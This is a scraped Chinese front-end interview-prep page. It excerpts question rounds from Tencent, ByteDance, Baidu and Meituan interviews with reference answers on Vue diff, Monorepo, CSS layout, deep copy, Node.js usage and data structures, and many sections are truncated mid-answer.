建立了完整的性能指标体系：Core Web Vitals 作为核心指标，包括 LCP（2.5s 以内）、FID（100ms 以内）、CLS（0.1 以内）；业务指标包括首屏加载时间、页面完全加载时间、接口响应时间等。通过 RUM（真实用户监控）收集线上数据，结合 Lighthouse 进行定期检测。制定了不同页面类型的性能基准，如首页 LCP 控制在 2s 内，列表页控制在 2.5s 内。

5. WebSocket 协议原理

题库原题：说下 websocket 的连接原理

腾讯-1年社招-前端面试 · 第 1 轮 · 二面

Thu, 04 Sep 2025 14:50:28 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

Thu, 04 Sep 2025 14:50:27 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮共 15 道题。答案默认折叠，便于先自行作答。

1. 讲一下项目的难点和亮点

题目要点

突出解决问题的能力，说明遇到过的复杂问题和优化方案，亮点要体现价值和可扩展性。

参考答案

在大型前端项目中，常见难点在于性能优化和复杂业务的抽象。比如数据量大时页面渲染和交互卡顿，需要通过虚拟列表、懒加载、分片渲染等方式解决；跨端适配和复杂状态管理也是典型难点。亮点可以体现在工程化和架构设计上，例如通过模块化拆分、微前端架构提高可维护性，或通过自动化工具链提升研发效率。

2. 项目的规范是如何制定的，如何执行的

题目要点

强调自动化工具与制度双管齐下，执行靠工具、评审和 CI 流程。

参考答案

前端规范一般从编码规范、组件封装规范、目录结构、Git 提交规范等方面制定。执行时可以依赖工具保障，比如 ESLint + Prettier 自动化格式化，Husky + lint-staged 在提交时校验，CI/CD 流程中增加检测。对组件层面，约定统一的 API 风格和文档，保证多人协作一致性。

3. 说说vue中的diff算法

题库原题：说说vue中的diff算法

题目要点

diff算法是一种高效的比较算法，主要用于比较虚拟DOM节点，以确定如何更新真实DOM。它具有两个特点：只会在同层级进行比较，不会跨层级比较；在比较的过程中，循环从两边向中间收拢。

在Vue中，diff算法用于比较新旧VNode节点，以决定如何更新真实DOM。

这个过程分为以下几个步骤：

比较新旧VNode节点：如果新旧节点相同，则不做任何操作；如果新旧节点都不存在子节点，则直接结束比较；如果新旧节点都有子节点，则进入updateChildren函数比较子节点。
更新子节点：在updateChildren函数中，设置新旧VNode的头尾指针，然后从两边向中间比较。如果新旧头尾指针相同，则直接patchVnode；如果新旧头尾指针不同，则根据情况调用patchVnode、createElm创建新节点，或者从哈希表寻找key一致的旧VNode节点再进行分情况操作。
patchVnode方法：如果新旧节点都有文本节点且不相等，则设置真实dom的文本节点为新节点的文本节点；如果旧节点有子节点而新节点没有，则删除旧节点的子节点；如果旧节点没有子节点而新节点有，则将新节点的子节点真实化后添加到旧节点；如果两者都有子节点，则进入updateChildren函数比较子节点。

通过diff算法，Vue能够高效地比较新旧VNode节点，以决定如何更新真实DOM，从而提高页面渲染的性能。

参考答案

一、是什么

diff 算法是一种通过同层的树节点进行比较的高效算法

其有两个特点：

比较只会在同层级进行, 不会跨层级比较
在diff比较的过程中，循环从两边向中间比较

diff 算法的在很多场景下都有应用，在 vue 中，作用于虚拟 dom 渲染成真实 dom 的新旧 VNode 节点比较

二、比较方式

diff整体策略为：深度优先，同层比较

比较只会在同层级进行, 不会跨层级比较

比较的过程中，循环从两边向中间收拢

字节-技术中台-校招 · 第 1 轮 · 一面

Tue, 02 Sep 2025 07:35:12 +0000

← 已是第一轮 · 返回本次面经 · 第 2 轮 →

本轮要点： 本次面试主要考察校招生的前端基础知识、框架理解（Vue和React）、TypeScript应用、手写代码能力以及解决实际问题的能力。面试官重点关注以下几个方面：

前端框架深度理解与实践：不仅要求掌握Vue和React的基础知识，更强调对框架设计原理（如Vue的响应式、虚拟DOM）的理解，以及在实际项目中的应用能力（如Vuex到Pinia的迁移，以及在React中模拟Vue特性的思路）。
JavaScript 核心与异步编程：对Object.defineProperty的数据劫持原理、Promise的深入理解及其各种组合与错误处理方式（Promise.all、Promise.allSettled），以及async/await与Promise的关系是考察重点。手写算法题（数组扁平化、深拷贝）考验基础编码功底。
TypeScript 实际应用：考察对TypeScript的熟练程度，包括基本类型、高级类型（如索引签名定义动态属性）的运用，以及如何在项目中利用TypeScript提升代码质量。
工程化与性能优化：Monorepo 多包依赖管理及冲突解决是工程实践的体现。图片懒加载的实现方式（尤其是Intersection Observer API的应用）及其阈值优化，体现了对前端性能优化的关注和实践经验。

整体而言，面试不仅考察"是什么"，更侧重"为什么"和"如何做"，需要候选人能够结合实际项目经验进行深入分析和解答。

本轮共 20 道题。答案默认折叠，便于先自行作答。

1. 你刚才提到了一些项目经历，讲一个你觉的最有成就感的？

题目要点

这道题是典型的主观题，面试官并不期待一个"唯一标准答案"。
主要考察的是答题者的表达能力、系统性思考问题的方式、对项目及技术的理解深度以及从项目中复盘和学习的能力。
答题结构建议：简述项目背景与挑战 → 描述你的解决方案及遇到的困难 → 总结项目成果与个人成长。

参考答案

在过去的项目经历中，让我最有成就感的是负责公司内部一个复杂的用户权限管理系统重构。这个系统当时面临着用户反馈权限配置混乱、性能瓶颈突出、以及新功能迭代困难等问题。

当时的核心挑战在于，我们有上百种细粒度的权限点，并且需要支持多维度、动态的权限组合，这在旧系统中已经形成了一个巨大的权限矩阵，任何改动都牵一发而动全身。我首先主导了权限模型的梳理和抽象，将权限点进行了归类和分级，并引入了基于角色的访问控制（RBAC）模型，同时考虑了自定义策略的扩展性。技术选型上，我们从传统的后端硬编码权限逻辑，逐步迁移到了前后端分离、统一鉴权服务的方式，并通过引入缓存机制优化了权限查询性能。

在实现过程中，最大的难点是如何在不影响现有业务的前提下，平滑地进行新旧权限系统的切换。为此，我设计了一套灰度发布方案，通过用户白名单和功能开关，逐步验证新系统的稳定性和准确性。在这个过程中，我们也遇到了一些意想不到的数据同步和兼容性问题，例如在特定场景下，新旧权限解析不一致导致的用户访问异常。我积极与后端团队、产品经理沟通，快速定位问题，并及时调整了数据同步策略和回滚机制，确保了业务的连续性。

最终，重构后的权限系统不仅将权限配置的效率提升了30%，还将核心鉴权接口的响应时间从原来的数百毫秒优化到了几十毫秒，极大地提升了系统的性能和稳定性。更重要的是，它为后续的新业务快速上线提供了坚实的基础，权限迭代周期缩短了50%以上。通过这个项目，我不仅深化了对权限系统设计的理解，也锻炼了我在复杂项目中进行技术选型、架构设计、风险管理和跨团队协作的能力。这次经历让我深切体会到，解决核心痛点并为业务带来实际价值，才是技术工作的最大成就感。

2. 项目里 Monorepo 管理多包依赖怎么实现的；

题目要点

Monorepo 概念：理解 Monorepo 的基本思想和优势。
多包依赖管理工具：了解 Lerna、Yarn Workspaces 或 pnpm Workspaces 等工具。
实现方式：掌握如何配置和使用这些工具来管理多包依赖，包括安装、发布、运行脚本等。
软链接/硬链接：理解这些工具如何通过符号链接解决依赖共享和版本管理问题。

参考答案

1.1 原理说明

Monorepo 是一种代码仓库管理策略，它将多个项目的代码存储在同一个版本控制仓库中，而不是为每个项目创建独立的仓库。这种方式的出现是为了解决多项目开发中代码共享、依赖管理、版本控制和协作效率等问题。它与传统的 Multirepo（多仓库）模式相对。

其核心原理在于通过特定的工具（如 Lerna、Yarn Workspaces 或 pnpm Workspaces）来管理仓库内的多个子包（package），实现：

统一的依赖管理：所有包的依赖都集中在一个地方（通常是根目录的 package.json 或各自的 package.json 结合工具配置），避免了重复安装和版本不一致的问题。工具会通过软链接或硬链接的方式将依赖安装到各个子包的 node_modules 中，实现依赖的共享和复用。
统一的构建、测试、发布流程：可以配置统一的脚本来执行所有或部分包的构建、测试和发布流程，简化 CI/CD。
代码共享与重用：各个子包可以直接相互引用，无需发布到 npm 等外部仓库，方便代码共享和模块化开发。

1.2 核心用法 + 示例代码

以 Yarn Workspaces 为例，它作为 Yarn 包管理器的内置功能，提供了一种轻量级的 Monorepo 解决方案。

字节跳动-商业化-校招 · 第 1 轮 · 一面

Tue, 02 Sep 2025 07:31:02 +0000

← 已是第一轮 · 返回本次面经 · 第 2 轮 →

本轮要点： 本次面试主要考察前端基础知识、React框架原理、算法能力等多个维度的内容。重点关注CSS布局、页面性能优化、React核心概念等方面。

本轮共 18 道题。答案默认折叠，便于先自行作答。

1. 如何实现一个宽高自适应的正方形元素？

题目要点

CSS布局技巧和响应式设计能力
百分比单位在CSS中的特殊性质理解
现代CSS新特性的应用能力

参考答案

1.1 原理说明

实现宽高自适应的正方形元素的核心在于确保元素的高度能够根据其宽度以1:1的比例进行等比缩放。这通常通过利用CSS中某些属性的特殊计算方式来实现，或者通过现代CSS特性直接声明。以下是几种常见方案的核心原理：

使用padding-top/padding-bottom百分比：在CSS盒模型中，padding属性的百分比值是相对于父元素的宽度来计算的，即使是padding-top和padding-bottom也是如此。因此，当我们将一个元素的height设为0，并将padding-top或padding-bottom设为100%时，它的高度实际上会等于其父元素的宽度，从而形成一个完美的正方形（假设其宽度也为100%）。这种方法利用了这一特性来"撑开"元素的高度。
使用aspect-ratio（现代浏览器支持）：aspect-ratio是CSS的一个新属性，它允许开发者直接指定一个元素的宽高比，浏览器会根据这个比率自动计算元素的尺寸。例如，aspect-ratio: 1/1会强制元素保持1:1的正方形比例。这是一个更语义化、更现代的解决方案，减少了传统方法的 hackiness。
使用vw单位：vw（viewport width）是一个相对单位，1vw等于视口宽度的1%。通过将元素的width和height都设置为相同的vw值，例如50vw，可以确保它们始终保持相等的尺寸，并随着视口宽度的变化而自适应缩放，从而形成正方形。

这些方案各有优缺点，如兼容性、代码语义性等，选择哪种方案取决于具体的项目需求和目标浏览器环境。

1.2 核心用法 + 示例代码

在实际开发中，这些方案可以根据兼容性需求和代码简洁性进行选择。

方案1：使用padding-top/padding-bottom百分比 这种方法兼容性好，几乎所有浏览器都支持。常用于需要兼容旧版浏览器或在图片、视频容器中保持比例的场景。

.square {
 width: 100%; /* 宽度可以设置为百分比、固定值或vw等 */
 height: 0;
 padding-top: 100%; /* padding百分比相对于父元素宽度计算，确保高度与宽度相等 */
 background: #eee;
 /* 内部内容可以通过绝对定位放置，以避免被padding挤压 */
 position: relative;
}

.square-content {
 position: absolute;
 top: 0;
 left: 0;
 width: 100%;
 height: 100%;
 display: flex;
 justify-content: center;
 align-items: center;
 color: #333;
}

HTML结构示例:

<div class="square">
 <div class="square-content">
 自适应正方形
 </div>
</div>

方案2：使用aspect-ratio（现代浏览器支持） 这是CSS3新增的属性，语义化最好，代码最简洁。适用于现代浏览器环境，是推荐的首选方案。

字节-国际电商-前端面试 · 第 1 轮 · 一面

Tue, 02 Sep 2025 07:09:39 +0000

← 已是第一轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： 考察面试者的表达能力、总结归纳能力和个人亮点。

本轮共 17 道题。答案默认折叠，便于先自行作答。

1. 自我介绍

题目要点

主观型问题，无唯一标准答案。 面试官主要考察答题者的表达能力、总结归纳能力、沟通技巧以及对自身经历和技术栈的清晰认知。
答题时建议围绕"我是谁"、“我做了什么”、“我做得怎么样"和"我为什么选择贵公司"这几个核心点展开，突出个人亮点与岗位匹配度。

参考答案

各位面试官好，我叫[您的姓名]，毕业于[您的学校]，专业是[您的专业]。在校期间，我专注于前端开发方向的学习与实践。在技术栈方面，我熟练掌握 HTML、CSS、JavaScript 基础，并深入学习了 Vue.js 框架，对 Vue 生态系统，如 Vuex、Vue Router 也有实际应用经验。在实习期间，我主要负责[您的项目职责，例如：公司官网前端页面的开发与维护，参与了XX功能模块的重构]。具体工作中，我曾独立负责[具体某个功能或模块]，通过[具体技术或方法]，实现了[具体效果或优化]，比如在[某项目中]实现了[某个功能]，有效提升了用户体验[或业务效率]。我个人对前端技术充满热情，具备良好的学习能力和解决问题的能力，期待能将我的技能和经验应用到贵公司，与团队一同成长。

2. 在学校期间有没有参与过什么技术社团或项目，对你的前端学习有什么帮助？

题目要点

主观型问题，无唯一标准答案。 面试官主要考察答题者在校期间对技术的热情、主动学习能力、团队协作能力以及将理论知识应用于实践的能力。他们希望了解你如何将课外活动与前端学习结合，并从中获得了哪些成长。
答题时建议突出你在社团/项目中承担的角色、遇到的挑战、如何解决问题、学到的技术知识以及对个人成长的影响。

参考答案

在校期间，我积极参与了学校的[例如：创新创业协会或某个技术兴趣小组]。在这些活动中，我曾参与一个[例如：校园兼职平台]的小型项目开发。当时，我们团队面临的挑战是[例如：如何利用有限的资源快速搭建一个具备基本交互功能的前端原型]。我主动承担了前端页面的开发工作，通过自学 Vue.js 的组件化思想和路由管理，将页面拆分为可复用的组件，并实现了前端路由功能。虽然项目规模不大，但它让我第一次有机会将课堂上学习的 HTML、CSS、JavaScript 知识体系化地应用到实际开发中。通过这次经历，我不仅锻炼了独立解决问题的能力，还体会到了团队协作的重要性，比如在开发中与后端同学进行接口联调、与设计师沟通 UI 实现细节等，这对我后续的实习和前端学习都产生了积极的推动作用。

3. 说说你实习项目中遇到的技术难点，以及你是如何解决的？

题目要点

主观型问题，无唯一标准答案。 面试官主要考察答题者对项目实践的深入理解、问题解决能力、技术深度以及学习和复盘能力。他们希望了解你在面对挑战时，如何分析问题、寻找解决方案并最终达成目标。
答题时建议围绕"遇到什么难点”、“如何分析与定位问题”、“采用了哪些技术方案”、“解决了什么问题"以及"从中获得了哪些经验和教训"等核心点展开，强调思考过程和技术细节。

参考答案

在我的实习项目中，我曾遇到一个比较棘手的性能问题。我们负责的一个电商列表页面，随着商品数量的增多，首次加载时间变得非常慢，用户体验受到严重影响。通过浏览器开发者工具分析，我发现主要瓶颈在于大量图片资源的加载以及首屏渲染时数据量过大导致的卡顿。

为了解决这个问题，我首先考虑了图片懒加载。我引入了一个 Intersection Observer API 的实现，使得图片只有在进入用户视口时才开始加载，这显著减少了初始的 HTTP 请求数量和带宽消耗。其次，针对数据量大的问题，我调研并实现了虚拟列表。核心思路是只渲染当前可见区域的列表项，并动态计算滚动时的偏移量和渲染范围。这避免了一次性渲染数千个 DOM 节点造成的性能压力。具体实现中，我维护了一个可滚动区域，根据滚动位置动态更新展示的数据索引，并结合 requestAnimationFrame 确保滚动动画的流畅性。

经过这些优化措施，页面的首次加载时间从原来的 8 秒降低到了 2 秒以内，列表滚动时的卡顿现象也基本消除。这个过程让我对前端性能优化有了更深层次的理解，特别是如何结合浏览器 API 和数据结构优化来解决实际问题，也锻炼了我分析和解决复杂性能瓶颈的能力。

4. 解释一下 TS 泛型的概念和作用

题目要点

泛型概念：面试官想确认面试者对泛型的基本定义、作用和设计目的的理解。
泛型作用：考察泛型在增强代码灵活性、类型安全和重用性方面的具体应用。
实际应用：理解泛型在实际开发中如何应用于函数、接口、类等场景，以及其在大型项目中的价值。

参考答案

1.1 原理说明

百度-小程序-暑期实习 · 第 1 轮 · 一面

Thu, 21 Aug 2025 15:43:17 +0000

← 已是第一轮 · 返回本次面经 · 已是最后一轮 →

本轮共 21 道题。答案默认折叠，便于先自行作答。

1. 深拷贝浅拷贝有什么区别？怎么实现深拷贝？

题库原题：深拷贝浅拷贝有什么区别？怎么实现深拷贝？

题目要点

JS数据类型分别基本数据类型和引用数据类型，基本数据类型保存的是值，引用类型保存的是引用地址(this指针)。

浅拷贝共用一个引用地址，深拷贝会创建新的内存地址。

浅拷贝方法

直接对象复制
Object.assign

深拷贝

JSON.stringify转为字符串再JSON.parse
深度递归遍历

参考答案

一、数据类型存储

前面文章我们讲到，JavaScript中存在两大数据类型：

基本类型
引用类型

基本类型数据保存在在栈内存中

引用类型数据保存在堆内存中，引用数据类型的变量是一个指向堆内存中实际对象的引用，存在栈中

二、浅拷贝

浅拷贝，指的是创建新的数据，这个数据有着原始数据属性值的一份精确拷贝

如果属性是基本类型，拷贝的就是基本类型的值。如果属性是引用类型，拷贝的就是内存地址

即浅拷贝是拷贝一层，深层次的引用类型则共享内存地址

下面简单实现一个浅拷贝

function shallowClone(obj) {
 const newObj = {};
 for(let prop in obj) {
 if(obj.hasOwnProperty(prop)){
 newObj[prop] = obj[prop];
 }
 }
 return newObj;
}

在JavaScript中，存在浅拷贝的现象有：

Object.assign
Array.prototype.slice(), Array.prototype.concat()
使用拓展运算符实现的复制

Object.assign

var obj = {
 age: 18,
 nature: ['smart', 'good'],
 names: {
 name1: 'fx',
 name2: 'xka'
 },
 love: function () {
 console.log('fx is a great girl')
 }
}
var newObj = Object.assign({}, obj);

slice()

const fxArr = ["One", "Two", "Three"]
const fxArrs = fxArr.slice(0)
fxArrs[1] = "love";
console.log(fxArr) // ["One", "Two", "Three"]
console.log(fxArrs) // ["One", "love", "Three"]

concat()

const fxArr = ["One", "Two", "Three"]
const fxArrs = fxArr.concat()
fxArrs[1] = "love";
console.log(fxArr) // ["One", "Two", "Three"]
console.log(fxArrs) // ["One", "love", "Three"]

拓展运算符

const fxArr = ["One", "Two", "Three"]
const fxArrs = [...fxArr]
fxArrs[1] = "love";
console.log(fxArr) // ["One", "Two", "Three"]
console.log(fxArrs) // ["One", "love", "Three"]

三、深拷贝

深拷贝开辟一个新的栈，两个对象的属性完全相同，但是对应两个不同的地址，修改一个对象的属性，不会改变另一个对象的属性

百度-用户增长-秋招 · 第 1 轮 · 一面

Thu, 21 Aug 2025 15:39:11 +0000

← 已是第一轮 · 返回本次面经 · 已是最后一轮 →

本轮共 20 道题。答案默认折叠，便于先自行作答。

1. 有没有使用 Node.js 进行开发的经历？

题目要点

“不仅仅用过 Node.js，而且能说清楚在前端团队里它解决了哪些实际问题，产生了什么价值。” 这样比单纯回答“用过/没用过”更有亮点。

参考答案

考察的核心是：对 Node.js 的理解深度和在前端/全栈中的实际应用场景。

回答时可以从以下几个角度展开：

1. 使用场景

前端工程化工具链：使用 Node.js 驱动构建工具（Webpack、Vite、Rollup 等），编写脚本实现自动化构建、代码检查、Mock Server 搭建。
服务端接口开发：基于 Express、Koa、NestJS 搭建轻量级 API 服务，用于前后端分离项目的接口模拟或小型后台系统。
中间层 / BFF（Backend for Frontend）：在复杂业务中，用 Node.js 实现前后端解耦，比如统一处理接口聚合、鉴权、缓存。
SSR / SSG 场景：使用 Next.js 或 Nuxt.js，借助 Node.js 渲染首屏，提升 SEO 和加载体验。
运维与脚本：编写部署脚本、自动生成文件、批量处理数据。

2. 具体任务

可以结合自身经历强调：

是否搭建过 Mock 服务，辅助前后端并行开发；
是否写过中间层解决跨域、接口聚合问题；
是否在工程化中写过 Node.js 工具脚本（如自动生成路由表、埋点收集脚本）；
是否参与过服务端渲染或静态站点生成相关开发。

3. 收获和亮点

对 事件驱动、非阻塞 I/O 有更深理解，能写出高并发场景下的稳定服务；
学会了在前端视角下如何更好地和后端衔接；
在实际项目中通过 Node.js 提升了团队的开发效率（例如通过脚本工具减少重复劳动）。

2. CSS 3D 变形有哪些常见的属性和方法？

题目要点

CSS 3D 变形（3D Transform）是 CSS3 提供的一组属性，用来在三维空间中对元素进行旋转、缩放、平移、倾斜等操作。

百度-APP产品研发-秋招 · 第 1 轮 · 二面

Wed, 20 Aug 2025 14:54:45 +0000

← 第 1 轮 · 返回本次面经 · 已是最后一轮 →

面试时间： 60分钟

本轮共 21 道题。答案默认折叠，便于先自行作答。

1. 讲一下你在官网开发中的主要职责，开发的模块以及你觉的比较亮点的地方

题目要点

如果是面试官问到“官网开发中的主要职责、开发的模块以及比较亮点的地方”，一般可以从以下几个角度来回答，既展示你的全局把控能力，又体现你在某些点上有深度。

参考答案

下面是一个参考思路：

1. 主要职责

官网整体架构搭建：根据业务和设计稿，使用 React/Vue + Vite/Next.js/Nuxt.js 等技术栈完成整体框架搭建，包括路由、状态管理、多语言支持等。
公共模块封装：抽象公共组件（如导航栏、页脚、轮播、富文本渲染、内容卡片等），提高复用率，减少重复开发。
性能优化：处理首屏加载速度、资源拆分、图片懒加载、SSR/SSG、SEO 优化。
协作沟通：与产品、UI、后端保持沟通，保证页面上线节奏和质量。

2. 负责的模块（可根据实际情况举例）

首页：承担品牌形象展示，涉及 banner 动效、动态数据展示、视频播放等。
产品/解决方案页：结合后端接口，展示不同产品模块，支持筛选、搜索、动态路由。
活动/新闻动态页：接入 CMS（如 Strapi、Sanity、WordPress 等），支持运营人员通过后台直接发布。
多语言切换模块：基于 i18n 实现官网多语言，支持自动识别浏览器语言，静态资源跟随切换。
SEO 优化模块：处理 meta 信息、OG 标签、站点地图、robots.txt，提升搜索引擎收录效果。

3. 亮点/难点突破

性能优化亮点
- 利用 SSR/SSG（Next.js/Nuxt.js）提升首屏渲染速度，Lighthouse 分数提升到 90+。
- 使用图片 CDN + WebP 格式，首页加载时间缩短 30%。
- 按需加载组件、拆分 bundle，减少首次请求体积。
可配置化思路
- 引入 CMS 系统，实现官网内容可配置，避免频繁改代码上线，运营可直接维护。
- 封装通用“模块化组件”，如 Banner、富文本、图文组合，做到拖拽/配置式渲染。
前端体验优化
- 首页/产品页引入动效（基于 Lottie 或 GSAP），提升视觉冲击力。
- 交互细节（滚动吸附、视差动画、过渡效果）增强用户沉浸感。
工程化实践

百度-APP产品研发-秋招 · 第 1 轮 · 一面

Tue, 19 Aug 2025 14:47:24 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮共 15 道题。答案默认折叠，便于先自行作答。

1. 前端实现动画有哪些方式？

题库原题：前端实现动画有哪些方式？

题目要点

前端开发中，实现动画的方法多种多样，每种方法都有其适用场景和优缺点。以下是一些常见的实现方式：

CSS 动画：
- 使用 @keyframes 和 animation 属性定义动画。
- 优点：易于实现，性能好，易于维护。
- 缺点：功能相对简单，难以实现复杂的交互动画。
CSS 过渡（Transitions）：
- 使用 transition 属性在状态变化时实现平滑过渡。
- 优点：简单易用，性能优秀。
- 缺点：只能用于状态变化的过渡，不适合复杂动画。
JavaScript 动画：
- 使用 JavaScript 直接操作 DOM 元素的样式属性实现动画。
- 优点：灵活性高，可以控制动画的每一个细节。
- 缺点：可能影响性能，需要更多的代码实现。
Web Animations API：
- 使用 Element.animate() 方法实现动画。
- 优点：提供更丰富的动画控制和更一致的跨浏览器支持。
- 缺点：兼容性不如 CSS 动画。
SVG 动画：
- 使用 SVG 元素和 SMIL（Synchronized Multimedia Integration Language）或 CSS 动画实现动画。
- 优点：适合矢量图形动画，易于集成。
- 缺点：浏览器支持和性能可能不如 CSS 动画。
Canvas：
- 使用 HTML <canvas> 元素和 JavaScript 绘制动画。
- 优点：适合复杂的图形和游戏动画。
- 缺点：实现复杂，需要手动管理每一帧的绘制。
CSS 3D 变换：

美团-零售-秋招 · 第 1 轮 · 一面

Mon, 04 Aug 2025 07:49:59 +0000

← 已是第一轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： 本次面试主要考察前端基础知识，包括数据结构、网络协议、操作系统、JavaScript、CSS、React以及算法等方面。

本轮共 12 道题。答案默认折叠，便于先自行作答。

1. 数组和链表的区别，读取和删除的时间复杂度

题目要点

数据结构基础：考察对数组和链表这两种基本数据结构概念的理解，包括它们的存储方式和特点。
时间复杂度分析：评估数据结构在不同操作下的性能表现，这是衡量算法效率的关键指标。

参考答案

1.1 原理说明

数组：数组是一种将元素存储在连续内存空间中的数据结构。它通过索引来直接访问任意元素，因为所有元素的大小相同且物理地址连续，可以通过首地址和索引计算出元素的确切位置。
链表：链表是一种将元素存储在非连续内存空间中的数据结构。每个元素（称为节点）包含数据本身以及指向下一个元素的指针（或引用）。节点之间通过这些指针逻辑上连接起来，但不要求物理上连续。
联系与区别：数组和链表都是线性数据结构，用于有序地存储和组织数据。它们的主要区别在于内存的物理存储方式和由此带来的对元素访问、插入、删除操作的效率差异。数组支持随机访问，而链表只能顺序访问。
为什么会出现这个技术需求或问题：不同的数据存储和操作场景对数据结构有不同的性能要求。当需要快速随机访问数据时，数组由于其连续存储特性表现更优；而当需要频繁地进行插入和删除操作时，链表由于其灵活的指针连接方式，避免了大量元素移动，因此效率更高。

1.2 核心用法 + 示例代码

读取操作：

数组：通过索引直接访问元素，时间复杂度为 O(1)。无论数组大小，访问任何元素所需时间都是恒定的。

const arr = [10, 20, 30, 40, 50];
console.log(arr[2]); // 输出 30，直接访问，时间复杂度 O(1)

链表：必须从链表的头部节点开始，沿着指针逐个遍历，直到找到目标元素。因此，时间复杂度为 O(n)，其中 n 是链表的长度。在最坏情况下，需要遍历整个链表。

class Node {
 constructor(val) {
 this.val = val;
 this.next = null;
 }
}
const head = new Node(10);
head.next = new Node(20);
head.next.next = new Node(30);

let current = head;
while (current && current.val !== 30) {
 current = current.next;
}
console.log(current ? current.val : 'Not found'); // 输出 30，需要遍历，时间复杂度 O(n)

删除操作：

数组：删除数组中的某个元素后，为了保持内存的连续性，其后的所有元素都需要向前移动以填补空缺。这个移动操作的时间复杂度为 O(n)。

const arr = [1, 2, 3, 4, 5];
arr.splice(2, 1); // 删除索引为2的元素（即3），后续元素（4, 5）前移，时间复杂度 O(n)
console.log(arr); // 输出 [1, 2, 4, 5]

链表：如果已知要删除节点的前一个节点，删除操作只需要修改前一个节点的指针，使其指向被删除节点的下一个节点。这个操作的时间复杂度为 O(1)。如果需要先查找再删除，则总时间复杂度为 O(n)（查找的开销）。

// 假设我们有一个链表 1 -> 2 -> 3，我们要删除值为 2 的节点
// 模拟找到值为 1 的节点 (prevNode) 和值为 2 的节点 (nodeToDelete)
let headDelete = new Node(1);
let node2 = new Node(2);
let node3 = new Node(3);
headDelete.next = node2;
node2.next = node3;

let prevNode = headDelete; // 值为 1 的节点
let nodeToDelete = node2; // 值为 2 的节点

prevNode.next = nodeToDelete.next; // 将 1 的 next 指向 3，时间复杂度 O(1)
// 现在链表变为 1 -> 3

优势总结：

美团-打车-校招 · 第 1 轮 · 一面

Mon, 04 Aug 2025 07:21:50 +0000

← 已是第一轮 · 返回本次面经 · 已是最后一轮 →

本轮要点： 本次面试主要考察前端基础、框架原理以及性能优化等方面的知识。

本轮共 26 道题。答案默认折叠，便于先自行作答。

1. 1. 项目的难点与亮点是什么？

题目要点

说明该题是主观型问题，不考"唯一标准答案"。
面试官主要考察答题者的表达能力、思路系统性、技术理解和复盘能力。
答题结构建议：首先简述项目背景，接着阐述难点（遇到的问题、如何解决、技术选型考量），再说明亮点（创新点、技术深度、业务价值），最后进行总结和反思。

参考答案

我们团队在开发 XXX 项目时，有一个核心模块是 YYYY。这个模块的主要难点在于需要处理高并发的数据同步和复杂的权限控制逻辑。具体来说，我们面临的挑战包括：

高并发数据同步：在某个特定场景下，用户操作会导致大量数据实时更新，并且这些更新需要快速同步到多个客户端。初期方案在压力测试时出现了明显的延迟和数据不一致问题。
- 解决思路：我们分析了瓶颈，发现是由于频繁的数据库写入和全量数据推送导致的。经过讨论，我们最终选择了基于 WebSocket 实现增量数据推送，并引入了消息队列（Kafka）来削峰填谷，后端对数据进行聚合后再批量写入。在前端，我们设计了一个轻量级的数据缓存层，只在接收到增量更新时局部刷新UI，大大减少了DOM操作。
- 技术权衡：我们对比过轮询、长轮询等方案，但它们在实时性和资源消耗上都不如 WebSocket 配合增量更新。虽然引入消息队列和 WebSocket 增加了系统复杂度，但在百万级并发场景下，它提供了更优的性能和更低的资源占用。
复杂的权限控制：系统需要支持多维度、细粒度的用户权限，包括不同角色对数据和功能的访问权限，并且权限配置是动态可变的。
- 解决思路：我们设计了一套基于 RBAC（Role-Based Access Control）的权限模型，但在前端实现时，为了避免每次操作都去后端校验权限，我们引入了前端权限路由守卫和组件级权限指令。在用户登录时，后端会返回一个精简的权限列表，前端根据这个列表动态生成菜单、路由，并控制组件的可见性及交互。
- 技术权衡：这种前后端结合的权限控制方式，兼顾了安全性和用户体验。虽然前端增加了权限逻辑处理，但减少了不必要的后端请求，提升了页面响应速度。我们还考虑过将权限完全放到后端控制，但那样会导致频繁的网络请求，用户体验会下降。

项目的亮点主要体现在两个方面：

技术深度与创新：我们引入的 WebSocket + Kafka 的实时数据同步方案，有效地支撑了高并发场景下的数据一致性和实时性要求，这是项目在技术上的一大突破。此外，我们还自主研发了一套可视化配置工具，让业务人员可以灵活配置数据同步规则，极大地提高了运营效率。
业务价值与用户体验提升：通过解决上述难点，我们成功将核心页面的数据实时同步延迟从平均 5 秒降低到 500 毫秒以内，用户在操作时的卡顿感几乎消除，大幅提升了用户满意度。同时，权限系统的灵活配置也让业务扩展变得更加便捷，支持了新业务的快速上线。

在整个过程中，我们团队通过深入分析、多方案对比和持续优化，不仅攻克了技术难点，也为业务带来了实际的价值。这次经历让我对高并发系统设计和复杂权限管理有了更深刻的理解，也锻炼了我在权衡技术方案和解决实际问题方面的能力。

2. 2. 解决难点时，是否对比过多种方案？最终选择的方案有何权衡？

题目要点

说明该题是主观型问题，不考"唯一标准答案"。
面试官主要考察答题者解决问题的思路、方案对比能力、技术选型和权衡能力，以及对项目实际情况的理解。
答题结构建议：首先选择一个具体的项目难点，围绕该难点，阐述曾考虑的多种解决方案，对比它们的优劣（技术、成本、风险等），最终说明选择当前方案的理由及权衡过程，并可提及后续优化方向。

参考答案

在我的前端项目中，曾遇到一个挑战，就是如何高效地管理和渲染大规模的动态表单。传统的方案是直接通过 JSON 配置动态生成表单项，但这在表单项过多、层级嵌套复杂时，会导致渲染性能下降，并且表单校验逻辑难以统一管理。

当时我们主要对比了以下几种方案：

方案一：纯粹的 JSON Schema 驱动，一次性渲染
- 优点：配置简单直观，后端可以方便地控制表单结构。
- 缺点：对于包含上百个字段甚至更多字段的复杂表单，一次性渲染会导致首次加载时间过长，页面卡顿。当表单数据频繁变化时，DOM 更新开销大，用户体验差。
- 权衡：虽然开发成本低，但性能瓶颈明显，不适用于我们目标中的大型复杂表单。
方案二：基于组件化和局部更新

腾讯-CSIG一校招 · 第 1 轮 · 第一轮

Mon, 28 Jul 2025 14:52:54 +0000

← 已是第一轮 · 返回本次面经 · 第 1 轮 →

本轮概述： 一面主要考察前端基础，难度不大。

面试时间： 90分钟

本轮要点： 基础概念理解深入，能够解释原理和应用场景

代码实现思路清晰，考虑边界情况和性能优化

对前端技术栈有系统性认知，了解技术发展趋势

具备解决实际问题的能力和工程化思维

本轮共 12 道题。答案默认折叠，便于先自行作答。

1. 为什么选择前端

题目要点

